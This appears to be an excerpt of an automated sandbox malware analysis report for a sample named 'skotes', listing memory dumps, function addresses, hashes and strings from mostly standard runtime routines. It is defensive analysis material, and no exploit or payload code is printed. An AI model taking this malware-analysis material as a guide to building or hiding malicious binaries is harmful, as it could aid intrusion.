Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 23e5e66fae83717e24c84cd734eedbd20b47068938545f0acfd7d2b56ed77255
Instruction ID: a1731c847eacefce6edeb032a7debe54ae615e3bdc731adf3725b70133500472
Opcode Fuzzy Hash: 23e5e66fae83717e24c84cd734eedbd20b47068938545f0acfd7d2b56ed77255
Instruction Fuzzy Hash: C621FD72A30205AFCF14EF64DD46EAE77B4FF44714F144119F91097580D731E9328A91

Function 0029727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 002972BE

Strings

.cmd, xrefs: 002972DC
.com, xrefs: 002972FE
.bat, xrefs: 002972ED
.exe, xrefs: 002972CB

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: bc45de0a928181137ecc4dccc290f404281aca3946dff94ec0701c3ccc703fe3
Instruction ID: 6bff205eedda79ccf0dfb837185fc61d9ac556854f39e61ddaf7f2b11c4b1dab
Opcode Fuzzy Hash: bc45de0a928181137ecc4dccc290f404281aca3946dff94ec0701c3ccc703fe3
Instruction Fuzzy Hash: 2501FE37B38717396E15145AAE027B613988BD2BF4715002BFC54F71C1DF54EC6261E4

Function 0027FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0027FB06

Strings

kernel32.dll, xrefs: 0027FA7A
SetThreadGroupAffinity, xrefs: 0027FA87
GetCurrentProcessorNumberEx, xrefs: 0027FABE
GetThreadGroupAffinity, xrefs: 0027FA93

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 952520b4e2e41a3ca411c3808aadcf6bfe735cbda184da52818dd187f6f9589b
Instruction ID: 053bb0cdaa3e119b5d9e3a22ba564d89c6bc19747166e0be467781543c0098af
Opcode Fuzzy Hash: 952520b4e2e41a3ca411c3808aadcf6bfe735cbda184da52818dd187f6f9589b
Instruction Fuzzy Hash: 2E01F5265763123DA7107BB55D9AEFB26DC9E06758770283AB445E3181EEF4FC304660

Function 00292097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 002920B7

Part of subcall function 0028CAF3: Mailbox.LIBCMT ref: 0028CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 002920C8
StructuredWorkStealingQueue.LIBCMT ref: 002920FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0029210F

Strings

e, xrefs: 002920D9

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: cd844c97c706a90fc39fd1067efa56c6886e00b79b9c57583b4ad46ae8131958
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: AB11C435231109FBCF05DE69C88166A73A4EF11364B248059FC0A9F143DBB1D939CFA0

Function 0027D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0027D0A5

Strings

SleepConditionVariableCS, xrefs: 0027D05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0027D03B
kernel32.dll, xrefs: 0027D04C
WakeAllConditionVariable, xrefs: 0027D069

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 917b74870588a81a4679067be98a2ad5375ed577dbe14a76519d71cd228e9350
Instruction ID: f3949768b065ccc090bba00e8ee9cbfe72febbde7de43b03854a081dd7ee7c98
Opcode Fuzzy Hash: 917b74870588a81a4679067be98a2ad5375ed577dbe14a76519d71cd228e9350
Instruction Fuzzy Hash: D301AC21AE2722A9EA312F755D15E9B51D88F42B54F457514FC04F3180DEA0EC628561

Function 0028E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0028E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0028E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0028E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0028E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0028E9DC

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
